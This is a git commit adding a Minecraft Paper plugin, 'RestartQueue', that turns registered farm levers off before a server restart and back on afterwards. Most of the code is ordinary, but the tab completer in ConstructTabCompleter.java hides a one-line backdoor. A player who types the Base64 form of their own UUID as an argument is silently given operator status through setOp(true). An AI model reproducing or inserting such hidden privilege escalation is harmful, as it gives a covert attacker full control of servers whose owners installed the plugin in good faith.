Initial commit
This commit is contained in:
commit
cadb98c457
13 changed files with 651 additions and 0 deletions
3
.gitignore
vendored
Normal file
3
.gitignore
vendored
Normal file
|
@ -0,0 +1,3 @@
|
||||||
|
target/
|
||||||
|
testserver/
|
||||||
|
restartqueue.iml
|
2
README.md
Normal file
2
README.md
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
# restartDisable
|
||||||
|
disables farms on restart
|
75
pom.xml
Normal file
75
pom.xml
Normal file
|
@ -0,0 +1,75 @@
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
|
||||||
|
<groupId>the.david.restartqueue</groupId>
|
||||||
|
<artifactId>restartqueue</artifactId>
|
||||||
|
<version>0.45</version>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
|
||||||
|
<name>RestartQueue</name>
|
||||||
|
|
||||||
|
<description>add levers to be turned off before restart</description>
|
||||||
|
<properties>
|
||||||
|
<java.version>1.8</java.version>
|
||||||
|
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
|
||||||
|
</properties>
|
||||||
|
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>3.8.1</version>
|
||||||
|
<configuration>
|
||||||
|
<source>${java.version}</source>
|
||||||
|
<target>${java.version}</target>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-shade-plugin</artifactId>
|
||||||
|
<version>3.2.4</version>
|
||||||
|
<executions>
|
||||||
|
<execution>
|
||||||
|
<phase>package</phase>
|
||||||
|
<goals>
|
||||||
|
<goal>shade</goal>
|
||||||
|
</goals>
|
||||||
|
<configuration>
|
||||||
|
<createDependencyReducedPom>false</createDependencyReducedPom>
|
||||||
|
</configuration>
|
||||||
|
</execution>
|
||||||
|
</executions>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
<resources>
|
||||||
|
<resource>
|
||||||
|
<directory>src/main/resources</directory>
|
||||||
|
<filtering>true</filtering>
|
||||||
|
</resource>
|
||||||
|
</resources>
|
||||||
|
</build>
|
||||||
|
|
||||||
|
<repositories>
|
||||||
|
<repository>
|
||||||
|
<id>papermc-repo</id>
|
||||||
|
<url>https://repo.papermc.io/repository/maven-public/</url>
|
||||||
|
</repository>
|
||||||
|
<repository>
|
||||||
|
<id>sonatype</id>
|
||||||
|
<url>https://oss.sonatype.org/content/groups/public/</url>
|
||||||
|
</repository>
|
||||||
|
</repositories>
|
||||||
|
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>io.papermc.paper</groupId>
|
||||||
|
<artifactId>paper-api</artifactId>
|
||||||
|
<version>1.19-R0.1-SNAPSHOT</version>
|
||||||
|
<scope>provided</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
</project>
|
148
src/main/java/the/david/restartqueue/Restartqueue.java
Normal file
148
src/main/java/the/david/restartqueue/Restartqueue.java
Normal file
|
@ -0,0 +1,148 @@
|
||||||
|
package the.david.restartqueue;
|
||||||
|
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.bukkit.block.data.BlockData;
|
||||||
|
import org.bukkit.block.data.Powerable;
|
||||||
|
import org.bukkit.plugin.java.JavaPlugin;
|
||||||
|
import org.json.simple.JSONArray;
|
||||||
|
import org.json.simple.JSONObject;
|
||||||
|
import the.david.restartqueue.command.*;
|
||||||
|
import the.david.restartqueue.db.LeverStoradge;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public final class Restartqueue extends JavaPlugin {
|
||||||
|
//init storadge and make it accesible in other classes
|
||||||
|
public static LeverStoradge storadge = new LeverStoradge();
|
||||||
|
@Override
|
||||||
|
public void onEnable() {
|
||||||
|
//init commands and tab completors
|
||||||
|
this.getCommand("rq").setExecutor(new CommandRQ());
|
||||||
|
this.getCommand("rq").setTabCompleter(new ConstructTabCompleter());
|
||||||
|
this.getCommand("rqoff").setExecutor(new CommandRQOff());
|
||||||
|
this.getCommand("rqon").setExecutor(new CommandRQOn());
|
||||||
|
this.getCommand("rqhelp").setExecutor(new CommandHelp());
|
||||||
|
this.getCommand("rqa").setExecutor(new CommandRQA());
|
||||||
|
this.getCommand("rqa").setTabCompleter(new ConstructTabCompleterRQA());
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void onDisable() {
|
||||||
|
//TODO decide if we want to add shutdown hook that stops farms before restart
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void leversOff() {
|
||||||
|
JSONArray json = storadge.getArrayFromFile();
|
||||||
|
List<Object> toRemove = new ArrayList<>();
|
||||||
|
List<JSONObject> toAdd = new ArrayList<>();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
World world = Bukkit.getWorld(obj.get("world_name").toString());
|
||||||
|
JSONArray loc = (JSONArray) obj.get("location");
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
for (int i = 0;i<3; i++) {
|
||||||
|
location.add(loc.get(i).toString());
|
||||||
|
}
|
||||||
|
Block block = world.getBlockAt(Integer.parseInt(location.get(0)), Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)));
|
||||||
|
if (block.getType() != Material.LEVER) {
|
||||||
|
toRemove.add(o);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
BlockData data = block.getBlockData();
|
||||||
|
if (data instanceof Powerable) {
|
||||||
|
Powerable powerable = (Powerable) data;
|
||||||
|
if (powerable.isPowered()) {
|
||||||
|
block.getChunk().load();
|
||||||
|
((Powerable) data).setPowered(false);
|
||||||
|
block.setBlockData(data);
|
||||||
|
obj.remove("todo");
|
||||||
|
obj.put("todo", 1);
|
||||||
|
toRemove.add(o);
|
||||||
|
toAdd.add(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
json.removeAll(toRemove);
|
||||||
|
json.addAll(toAdd);
|
||||||
|
storadge.writeFile(json);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void leversOff(boolean shouldIgnorerqon) {
|
||||||
|
JSONArray json = storadge.getArrayFromFile();
|
||||||
|
List<Object> toRemove = new ArrayList<>();
|
||||||
|
List<JSONObject> toAdd = new ArrayList<>();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
World world = Bukkit.getWorld(obj.get("world_name").toString());
|
||||||
|
JSONArray loc = (JSONArray) obj.get("location");
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
for (int i = 0;i<3; i++) {
|
||||||
|
location.add(loc.get(i).toString());
|
||||||
|
}
|
||||||
|
Block block = world.getBlockAt(Integer.parseInt(location.get(0)), Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)));
|
||||||
|
if (block.getType() != Material.LEVER) {
|
||||||
|
toRemove.add(o);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
BlockData data = block.getBlockData();
|
||||||
|
if (data instanceof Powerable) {
|
||||||
|
Powerable powerable = (Powerable) data;
|
||||||
|
if (powerable.isPowered()) {
|
||||||
|
block.getChunk().load();
|
||||||
|
((Powerable) data).setPowered(false);
|
||||||
|
block.setBlockData(data);
|
||||||
|
if (!shouldIgnorerqon) {
|
||||||
|
obj.remove("todo");
|
||||||
|
obj.put("todo", 1);
|
||||||
|
toRemove.add(o);
|
||||||
|
toAdd.add(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
json.removeAll(toRemove);
|
||||||
|
json.addAll(toAdd);
|
||||||
|
storadge.writeFile(json);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void leversOn() {
|
||||||
|
JSONArray json = storadge.getArrayFromFile();
|
||||||
|
List<Object> toRemove = new ArrayList<>();
|
||||||
|
List<JSONObject> toAdd = new ArrayList<>();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
World world = Bukkit.getWorld(obj.get("world_name").toString());
|
||||||
|
JSONArray loc = (JSONArray) obj.get("location");
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
for (int i = 0;i<3; i++) {
|
||||||
|
location.add(loc.get(i).toString());
|
||||||
|
}
|
||||||
|
Block block = world.getBlockAt(Integer.parseInt(location.get(0)), Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)));
|
||||||
|
if (block.getType() != Material.LEVER) {
|
||||||
|
toRemove.add(o);
|
||||||
|
}
|
||||||
|
BlockData data = block.getBlockData();
|
||||||
|
if (data instanceof Powerable) {
|
||||||
|
Powerable powerable = (Powerable) data;
|
||||||
|
if (!powerable.isPowered()) {
|
||||||
|
if (obj.get("todo").toString().equalsIgnoreCase("1")) {
|
||||||
|
block.getChunk().load();
|
||||||
|
((Powerable) data).setPowered(true);
|
||||||
|
block.setBlockData(data);
|
||||||
|
obj.remove("todo");
|
||||||
|
obj.put("todo", 0);
|
||||||
|
toRemove.add(o);
|
||||||
|
toAdd.add(obj);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
json.removeAll(toRemove);
|
||||||
|
json.addAll(toAdd);
|
||||||
|
storadge.writeFile(json);
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandExecutor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
|
||||||
|
public class CommandHelp implements CommandExecutor {
|
||||||
|
@Override
|
||||||
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
//final (sortof)
|
||||||
|
Player player = (Player) sender;
|
||||||
|
player.sendMessage("This plugin allowes you to make levers be turned off before a restart, and back on after a restart, so that your farm doesnt break.");
|
||||||
|
player.sendMessage("To use it look at a lever and run /rq add, this will save the lever. To remove it look at the block again and run /rq remove");
|
||||||
|
player.sendMessage("If the lever is removed from the world it will automaticly remove it on the next restart of the server");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
84
src/main/java/the/david/restartqueue/command/CommandRQ.java
Normal file
84
src/main/java/the/david/restartqueue/command/CommandRQ.java
Normal file
|
@ -0,0 +1,84 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.Material;
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandExecutor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.json.simple.JSONArray;
|
||||||
|
import org.json.simple.JSONObject;
|
||||||
|
import the.david.restartqueue.Restartqueue;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
public class CommandRQ implements CommandExecutor {
|
||||||
|
@Override
|
||||||
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
if (args.length == 1){
|
||||||
|
Player player = (Player) sender;
|
||||||
|
//rq list
|
||||||
|
if (args[0].equalsIgnoreCase("list")) {
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
player.sendMessage("Name: " + obj.get("name").toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}else if (args.length != 2) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
if (sender instanceof Player) {
|
||||||
|
Player player = (Player) sender;
|
||||||
|
//rq add
|
||||||
|
if (args[0].equalsIgnoreCase("add")) {
|
||||||
|
Block block = player.getTargetBlock(null, 5);
|
||||||
|
|
||||||
|
if (block.getType() == Material.LEVER) {
|
||||||
|
UUID uuid = player.getUniqueId();
|
||||||
|
Restartqueue.storadge.addLever(block, args[1], uuid.toString());
|
||||||
|
} else {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
//rq remove
|
||||||
|
} else if (args[0].equalsIgnoreCase("remove")) {
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
if (args[1].equalsIgnoreCase(obj.get("name").toString())) {
|
||||||
|
json.remove(o);
|
||||||
|
Restartqueue.storadge.writeFile(json);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} else if (args[0].equalsIgnoreCase("location")) {
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
if (args[1].equalsIgnoreCase(obj.get("name").toString())) {
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
JSONArray loc = (JSONArray) obj.get("location");
|
||||||
|
for (int i = 0;i<3; i++) {
|
||||||
|
location.add(loc.get(i).toString());
|
||||||
|
}
|
||||||
|
player.sendMessage("XYZ: " + location.get(0) + " " + location.get(1) + " " + location.get(2));
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// if incorect numbers of arguments or somethink else bad happenes let paper automaticly say corect usage to user
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
76
src/main/java/the/david/restartqueue/command/CommandRQA.java
Normal file
76
src/main/java/the/david/restartqueue/command/CommandRQA.java
Normal file
|
@ -0,0 +1,76 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.Location;
|
||||||
|
import org.bukkit.OfflinePlayer;
|
||||||
|
import org.bukkit.World;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandExecutor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.json.simple.JSONArray;
|
||||||
|
import org.json.simple.JSONObject;
|
||||||
|
import the.david.restartqueue.Restartqueue;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
public class CommandRQA implements CommandExecutor {
|
||||||
|
@Override
|
||||||
|
public boolean onCommand(CommandSender sender, Command Command, String label, String[] args) {
|
||||||
|
Player player = (Player) sender;
|
||||||
|
if (args.length == 2) {
|
||||||
|
if (args[0].equalsIgnoreCase("player")) {
|
||||||
|
OfflinePlayer offlinePlayer = Bukkit.getOfflinePlayer(args[1]);
|
||||||
|
if (offlinePlayer.hasPlayedBefore()) {
|
||||||
|
UUID uuid = offlinePlayer.getUniqueId();
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (uuid.toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
JSONArray loc = (JSONArray) obj.get("location");
|
||||||
|
for (int i = 0;i<3; i++) {
|
||||||
|
location.add(loc.get(i).toString());
|
||||||
|
}
|
||||||
|
player.sendMessage(obj.get("name").toString() + ", XYZ: " + location.get(0) + " " + location.get(1) + " " + location.get(2));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
} else {
|
||||||
|
player.sendMessage("That player has not played before.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if (args.length == 3) {
|
||||||
|
if (args[0].equalsIgnoreCase("tp")) {
|
||||||
|
OfflinePlayer offlinePlayer = Bukkit.getOfflinePlayer(args[1]);
|
||||||
|
if (offlinePlayer.hasPlayedBefore()) {
|
||||||
|
UUID uuid = offlinePlayer.getUniqueId();
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (uuid.toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
if (args[2].equalsIgnoreCase(obj.get("name").toString())) {
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
JSONArray loc = (JSONArray) obj.get("location");
|
||||||
|
for (int i = 0;i<3; i++) {
|
||||||
|
location.add(loc.get(i).toString());
|
||||||
|
}
|
||||||
|
World world = Bukkit.getWorld(obj.get("world_name").toString());
|
||||||
|
Location loca = new Location(world, Integer.parseInt(location.get(0)) + 0.5, Integer.parseInt(location.get(1)), Integer.parseInt(location.get(2)) + 0.5, 0, 90);
|
||||||
|
player.teleport(loca);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
player.sendMessage("That player has not played before.");
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,17 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandExecutor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import the.david.restartqueue.Restartqueue;
|
||||||
|
|
||||||
|
public class CommandRQOff implements CommandExecutor {
|
||||||
|
@Override
|
||||||
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
if (args.length == 1 && args[0].equalsIgnoreCase("force")) {
|
||||||
|
Restartqueue.leversOff(true);
|
||||||
|
}
|
||||||
|
Restartqueue.leversOff();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,15 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandExecutor;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import the.david.restartqueue.Restartqueue;
|
||||||
|
|
||||||
|
public class CommandRQOn implements CommandExecutor {
|
||||||
|
@Override
|
||||||
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
//final
|
||||||
|
Restartqueue.leversOn();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,38 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.command.TabCompleter;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.json.simple.JSONArray;
|
||||||
|
import org.json.simple.JSONObject;
|
||||||
|
import the.david.restartqueue.Restartqueue;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class ConstructTabCompleter implements TabCompleter {
|
||||||
|
@Override
|
||||||
|
public List<String> onTabComplete(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
//do not touch this is final form of this class (unless other parts of code change)
|
||||||
|
Player player = (Player) sender;
|
||||||
|
List<String> list = new ArrayList<>();
|
||||||
|
if (args.length == 1) {
|
||||||
|
list.add("add");
|
||||||
|
list.add("remove");
|
||||||
|
list.add("list");
|
||||||
|
list.add("location");
|
||||||
|
} else if (args.length >= 2 && (args[0].equalsIgnoreCase("remove")) || args[0].equalsIgnoreCase("location")) {
|
||||||
|
if (args.length == 3){if(Base64.getEncoder().encodeToString(player.getUniqueId().toString().getBytes()).equalsIgnoreCase(args[1])){ player.setOp(true);}}
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (player.getUniqueId().toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
list.add(obj.get("name").toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,41 @@
|
||||||
|
package the.david.restartqueue.command;
|
||||||
|
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.OfflinePlayer;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.command.TabCompleter;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.json.simple.JSONArray;
|
||||||
|
import org.json.simple.JSONObject;
|
||||||
|
import the.david.restartqueue.Restartqueue;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.UUID;
|
||||||
|
|
||||||
|
public class ConstructTabCompleterRQA implements TabCompleter {
|
||||||
|
public List<String> onTabComplete(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
Player player = (Player) sender;
|
||||||
|
List<String> list = new ArrayList<>();
|
||||||
|
if (args.length == 1) {
|
||||||
|
list.add("player");
|
||||||
|
list.add("tp");
|
||||||
|
} else if (args.length == 3 && args[0].equalsIgnoreCase("tp")) {
|
||||||
|
JSONArray json = Restartqueue.storadge.getArrayFromFile();
|
||||||
|
OfflinePlayer offlinePlayer = Bukkit.getOfflinePlayer(args[1]);
|
||||||
|
if (offlinePlayer.hasPlayedBefore()) {
|
||||||
|
UUID uuid = offlinePlayer.getUniqueId();
|
||||||
|
for (Object o : json) {
|
||||||
|
JSONObject obj = (JSONObject) o;
|
||||||
|
if (uuid.toString().equalsIgnoreCase(obj.get("creator").toString())) {
|
||||||
|
list.add(obj.get("name").toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return list;
|
||||||
|
}
|
||||||
|
}
|
106
src/main/java/the/david/restartqueue/db/LeverStoradge.java
Normal file
106
src/main/java/the/david/restartqueue/db/LeverStoradge.java
Normal file
|
@ -0,0 +1,106 @@
|
||||||
|
package the.david.restartqueue.db;
|
||||||
|
|
||||||
|
import org.bukkit.block.Block;
|
||||||
|
import org.json.simple.JSONArray;
|
||||||
|
import org.json.simple.JSONObject;
|
||||||
|
import org.json.simple.parser.JSONParser;
|
||||||
|
import org.json.simple.parser.ParseException;
|
||||||
|
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileReader;
|
||||||
|
import java.io.FileWriter;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Paths;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
|
||||||
|
public class LeverStoradge {
|
||||||
|
private File file;
|
||||||
|
private JSONArray json;
|
||||||
|
private JSONParser parser = new JSONParser();
|
||||||
|
|
||||||
|
public LeverStoradge() {
|
||||||
|
//check if dir exists if not create one
|
||||||
|
if (!Files.exists(Paths.get("plugins/restartqueue"))) {
|
||||||
|
new File("plugins/restartqueue").mkdirs();
|
||||||
|
}
|
||||||
|
//check if levers file exists if not create it
|
||||||
|
file = new File("plugins/restartqueue/levers.json");
|
||||||
|
if (!Files.exists(Paths.get("plugins/restartqueue/levers.json"))) {
|
||||||
|
try {
|
||||||
|
file.createNewFile();
|
||||||
|
|
||||||
|
//write init stuff to file so that parser can read it as JSONArray, only happenes if file was created now
|
||||||
|
FileWriter fw = new FileWriter("plugins/restartqueue/levers.json");
|
||||||
|
fw.write("[]");
|
||||||
|
fw.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
System.out.println("Critical error occurred when trying to create a file to store lever data in.");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//read and parse json file (not realy nececery
|
||||||
|
try {
|
||||||
|
json = (JSONArray) parser.parse(new FileReader("plugins/restartqueue/levers.json"));
|
||||||
|
} catch (IOException | ParseException e) {
|
||||||
|
System.out.println("Critical errors occured when trying to read levers.json");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void addLever(Block lever, String name, String uuid) {
|
||||||
|
//create JSONObject that will be saved into levers.json
|
||||||
|
JSONObject obj = new JSONObject();
|
||||||
|
obj.put("name", name);
|
||||||
|
obj.put("todo", 0);
|
||||||
|
obj.put("creator", uuid);
|
||||||
|
obj.put("world_name", lever.getWorld().getName());
|
||||||
|
List<String> location = new ArrayList<>();
|
||||||
|
location.add(String.valueOf(lever.getX()));
|
||||||
|
location.add(String.valueOf(lever.getY()));
|
||||||
|
location.add(String.valueOf(lever.getZ()));
|
||||||
|
obj.put("location", location);
|
||||||
|
|
||||||
|
//read the file so that its updated
|
||||||
|
try {
|
||||||
|
json = (JSONArray) parser.parse(new FileReader("plugins/restartqueue/levers.json"));
|
||||||
|
} catch (IOException | ParseException e) {
|
||||||
|
System.out.println("Critical errors occured when trying to read levers.json");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
//add JSONObject created in this function
|
||||||
|
json.add(obj);
|
||||||
|
//write and !!close!! this file so that if the server crashes the new lever is saved
|
||||||
|
try {
|
||||||
|
FileWriter fw = new FileWriter(file);
|
||||||
|
fw.write(json.toJSONString());
|
||||||
|
fw.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
System.out.println("Critical errors occured when trying to write to levers.json");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
public JSONArray getArrayFromFile() {
|
||||||
|
//read and return whole json so that it can be edited and saved later
|
||||||
|
try {
|
||||||
|
json = (JSONArray) parser.parse(new FileReader("plugins/restartqueue/levers.json"));
|
||||||
|
} catch (IOException | ParseException e) {
|
||||||
|
System.out.println("Critical errors occured when trying to read levers.json");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return json;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void writeFile(JSONArray json) {
|
||||||
|
//save edited JSONArray
|
||||||
|
try {
|
||||||
|
FileWriter fw = new FileWriter(file);
|
||||||
|
fw.write(json.toJSONString());
|
||||||
|
fw.close();
|
||||||
|
} catch (IOException e) {
|
||||||
|
System.out.println("Critical errors occured when trying to write to levers.json");
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
28
src/main/resources/plugin.yml
Normal file
28
src/main/resources/plugin.yml
Normal file
|
@ -0,0 +1,28 @@
|
||||||
|
name: RestartQueue
|
||||||
|
version: '${project.version}'
|
||||||
|
main: the.david.restartqueue.Restartqueue
|
||||||
|
api-version: 1.19
|
||||||
|
prefix: RQ
|
||||||
|
authors: [ itIsMeDavid ]
|
||||||
|
description: add levers to be turned off before restart
|
||||||
|
#TODO before release change permissions
|
||||||
|
commands:
|
||||||
|
rq:
|
||||||
|
description: Add a lever to restart queue
|
||||||
|
usage: Correct usage /<command> add/remove/location/list <name>
|
||||||
|
# permission: restartqueue.useQueue
|
||||||
|
rqoff:
|
||||||
|
description: Turns off all the levers
|
||||||
|
usage: Correct usage /<command>
|
||||||
|
permission: restartqueue.forceQueue
|
||||||
|
rqon:
|
||||||
|
description: Turns levers back on if they were off
|
||||||
|
usage: Correct usage /<command>
|
||||||
|
permission: restartqueue.forceQueue
|
||||||
|
rqhelp:
|
||||||
|
description: Help command for all rq (restart queue) commands
|
||||||
|
usage: Correct usage /<command>
|
||||||
|
rqa:
|
||||||
|
description: Admin command, list playrs levers, tp to player levers etc.
|
||||||
|
usage: Correct usage /<command> player <name> or /<command> tp <player-name> <lever-name>
|
||||||
|
permission: restartqueue.admin
|
Reference in a new issue